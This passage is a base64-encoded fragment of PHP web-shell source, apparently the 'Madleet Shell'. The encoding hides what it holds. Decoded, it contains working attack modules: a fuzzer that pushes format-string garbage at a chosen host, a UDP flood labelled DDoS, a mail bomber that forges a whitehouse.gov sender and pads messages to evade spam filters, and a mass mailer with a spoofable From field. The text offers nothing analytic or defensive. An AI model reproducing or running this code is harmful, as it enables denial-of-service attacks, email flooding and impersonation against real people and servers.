dpZHRoOiA5MHB4OyIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmluZCA6RCEiLz48L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAKICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gCiAgICA8L3RyPiAKICAgIDwvdGFibGU+IAogICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9ImNvbG9yOiByZWQ7IiA+Tm90ZSA6IEFmdGVyIGNsaWNraW5nIFN1Ym1pdCBidXR0b24gLCBUaGUgYnJvd3NlciB3aWxsIHN0YXJ0IGxvYWRpbmcgY29udGludW91c2x5ICwgRG9ud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d0eXBlJ10gPT0gInRjcCIpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gInRjcCI7IAogICAgICAgIH0gCiAgICAgICAgd2hpbGUoJG11bHRpcGxpZXItLSkgCiAgICAgICAgeyAKICAgICAgICAgICAgJGRhdGEgLj0gdXJsZW5jb2RlKCRfR0VUWydtZXNzYWdlJ10pOyAKICAgICAgICB9IAogICAgICAgICRkYXRhIC49ICIlcyVzJXMlcyVkJXglYyVuJW4lbiVuIjsvLyBhZGQgc29tZSBmb3JtYXQgc3RyaW5nIHNwZWNpZmllcnMgCiAgICAgICAgJGRhdGEgLj0gImJ5LU1hZGxlZXQtc2hlbGwiLiRlbmRpbmc7IAogICAgICAgICRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOyAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgZWNobyAiU2VuZGluZyBEYXRhIDotIDxiciAvPiA8cCBhbGlnbj0nY2VudGVyJz4kZGF0YTwvcD4iOyAKICAgICAgICAgCiAgICAgICBwcmludCAiSSBhbSBhdCBtYSBXb3JrIG5vdyA6RCA7RCEgRG9udCBjbG9zZSB0aGlzIHdpbmRvdyB1bnRpbGwgeW91IHJlY2lldmUgYSBtZXNzYWdlIDxicj4iOyAKICAgICAgIGZvcigkaT0wOyRpPCR0aW1lczskaSsrKSAKICAgICAgIHsgCiAgICAgICAgICAgICRzb2NrZXQgPSBmc29ja29wZW4oIiRtb2RlOi8vJElQIiwgJHBvcnQsICRlcnJvciwgJGVycm9yU3RyaW5nLCAkdGltZW91dCk7IAogICAgICAgICAgICBpZigkc29ja2V0KSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGZ3cml0ZSgkc29ja2V0ICwgJGRhdGEgLCAkbGVuZ3RoICk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Z1enppbmcgQ29tcG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gICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZSIgdmFsdWU9IjUiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzUnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nNSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8gb2YgdGltZXMgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVzIiB2YWx1ZT0iMTAwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMDAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTWVzc2FnZSA8Zm9udCBjb2xvcj0icmVkIj4oVGhlIG1lc3NhZ2UgU2hvdWxkIGJlIGxvbmcgYW5kIGl0IHdpbGwgYmUgbXVsdGlwbGllZCB3aXRoIHRoZSB2YWx1ZSBhZnRlciBpdCk8L2ZvbnQ+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJtZXNzYWdlIiB2YWx1ZT0iJVMleC0tU29tZSBHYXJiYWdlIGhlcmUgLS0leCVTIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nJVMleC0tU29tZSBHYXJiYWdlIGhlcmUgLS0leCVTJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgeCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDMwcHg7IiBjbGFzcz0iY21kIiBuYW1lPSJtZXNzYWdlTXVsdGlwbGllciIgdmFsdWU9IjEwIiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiA1MDBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkxldCBpdCBSaXAhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKCi8vRERvcyAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2RvcyddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnaXAnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsnZXhUaW1lJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZW91dCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIAogICAgJF9HRVRbJ2lwJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIAogICAgJF9HRVRbJ2V4VGltZSddICE9ICIiIAogICAgKSAKICAgIHsgCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IAogICAgICAgJHBvcnQ9JF9HRVRbJ3BvcnQnXTsgCiAgICAgICAkZXhlY3V0aW9uVGltZSA9ICRfR0VUWydleFRpbWUnXTsgCiAgICAgICAkbm9PZkJ5dGVzID0gJF9HRVRbJ25vT2ZCeXRlcyddOyAKICAgICAgICRkYXRhID0gIiI7IAogICAgICAgJHRpbWVvdXQgPSAkX0dFVFsndGltZW91dCddOyAKICAgICAgICRwYWNrZXRzID0gMDsgCiAgICAgICAkY291bnRlciA9ICRub09mQnl0ZXM7IAogICAgICAgJG1heFRpbWUgPSB0aW1lKCkgKyAkZXhlY3V0aW9uVGltZTs7IAogICAgICAgd2hpbGUoJGNvdW50ZXItLSkgCiAgICAgICB7IAogICAgICAgICAgICAkZGF0YSAuPSAiWCI7IAogICAgICAgfSAKICAgICAgICRkYXRhIC49ICItYnktTWFkbGVldC1TaGVsbCI7ICAKICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IAogICAgICAgIAogICAgICAgd2hpbGUoMSkgCiAgICAgICB7IAogICAgICAgICAgICAkc29ja2V0ID0gZnNvY2tvcGVuKCJ1ZHA6Ly8kSVAiLCAkcG9ydCwgJGVycm9yLCAkZXJyb3JTdHJpbmcsICR0aW1lb3V0KTsgCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrZXQgLCAkZGF0YSk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyAKICAgICAgICAgICAgICAgICRwYWNrZXRzKys7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBpZih0aW1lKCkgPj0gJG1heFRpbWUpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRERvcyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgCiAgICAgICAgZWNobyAiRE9TIGF0dGFjayBhZ2FpbnN0IHVkcDovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IAogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRwYWNrZXRzKiRub09mQnl0ZXMpIC4gIjxiciAvPiI7ICAKICAgICAgICBlY2hvICJEYXRhIHBlciBwYWNrZXQgPSAiIC4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRub09mQnl0ZXMpIC4gIjxiciAvPiI7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvcyIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIElQIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVvdXQiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIgLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBFeGVjdXRpb24gVGltZSA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJleFRpbWUiIHZhbHVlPSIxMCIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIE5vIG9mIEJ5dGVzIHBlci9wYWNrZXQgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9Im5vT2ZCeXRlcyIgdmFsdWU9Ijk5OTk5OSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnOTk5OTk5Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9Jzk5OTk5OSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiA1MDBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkxldCBpdCBSaXAhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKLy8gTWFpbCBCb21iZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydib21iJ10pKSAKeyAKICAgIGlmKCAKICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3N1YmplY3QnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3RpbWVzJ10pICYmIAogICAgICAgICRfR0VUWyd0byddICE9ICcnICYmIAogICAgICAgICRfR0VUWydzdWJqZWN0J10gIT0gJycgJiYgCiAgICAgICAgJF9HRVRbJ21lc3NhZ2UnXSAhPSAnJyAmJiAKICAgICAgICAkX0dFVFsndGltZXMnXSAhPSAnJyAKICAgICkgCiAgICB7IAogICAgICAgICR0aW1lcyA9ICRfR0VUWyd0aW1lcyddOyAKICAgICAgICB3aGlsZSgkdGltZXMtLSkgCiAgICAgICAgeyAKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3BhZGRpbmcnXSkpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgJGZyb21QYWRkID0gcmFuZCgwLDk5OTkpOyAKICAgICAgICAgICAgICAgICRzdWJqZWN0UGFkZCA9ICIgLS0gSUQgOiAiLnJhbmQoMCw5OTk5OTk5KTsgCiAgICAgICAgICAgICAgICAkbWVzc2FnZVBhZGQgPSAiXG5cbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIi5yYW5kKDAsOTk5OTk5OTkpOyAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgJGZyb20gPSAicHJlc2lkZW50JGZyb21QYWRkQHdoaXRlaG91c2UuZ292IjsgCiAgICAgICAgICAgIGlmKCFtYWlsKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10uJHN1YmplY3RQYWRkLCRfR0VUWydtZXNzYWdlJ10uJG1lc3NhZ2VQYWRkLCJGcm9tOiIuJGZyb20pKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICRlcnJvciA9IDE7IAogICAgICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5Tb21lIEVycm9yIE9jY3VyZWQhPC9wPiI7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgaWYoJGVycm9yICE9IDEpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+TWFpbChzKSBTZW50ITwvcD4iOyAKICAgICAgICB9IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJvbWIiIC8+IAogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUbyAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8uIG9mIFRpbWVzICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRpbWVzIiB2YWx1ZT0iMTAwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMDAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBQYWQgeW91ciBtZXNzYWdlIChMZXNzIHNwYW0gZGV0ZWN0aW9uKSAKICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InBhZGRpbmciLz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5NYWRsZWV0LVNoZWxsIFJvY2tzISE8L3RleHRhcmVhPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IlNlbmQhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gICAgCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKCi8vTWFzcyBNYWlsZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydtYWlsJ10pKSAKeyAKICAgIGlmKCAKICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ2Zyb20nXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ3N1YmplY3QnXSkgJiYgCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgCiAgICApIAogICAgeyAKCiAgICAgICAgaWYobWFpbCgkX0dFVFsndG8nXSwkX0dFVFsnc3ViamVjdCddLCRfR0VUWydtZXNzYWdlJ10sIkZyb206Ii4kX0dFVFsnZnJvbSddKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsIFNlbnQhPC9wPiI7IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPlNvbWUgRXJyb3IgT2NjdXJlZCE8L3A+IjsgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IAogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtYWlsIiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgRnJvbSAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZnJvbSIgdmFsdWU9InByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdiIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAncHJlc2lkZW50QHdoaXRlaG91c2UuZ292Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdic7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVG8gIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJ0byIgdmFsdWU9InZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSIgb25mb2N1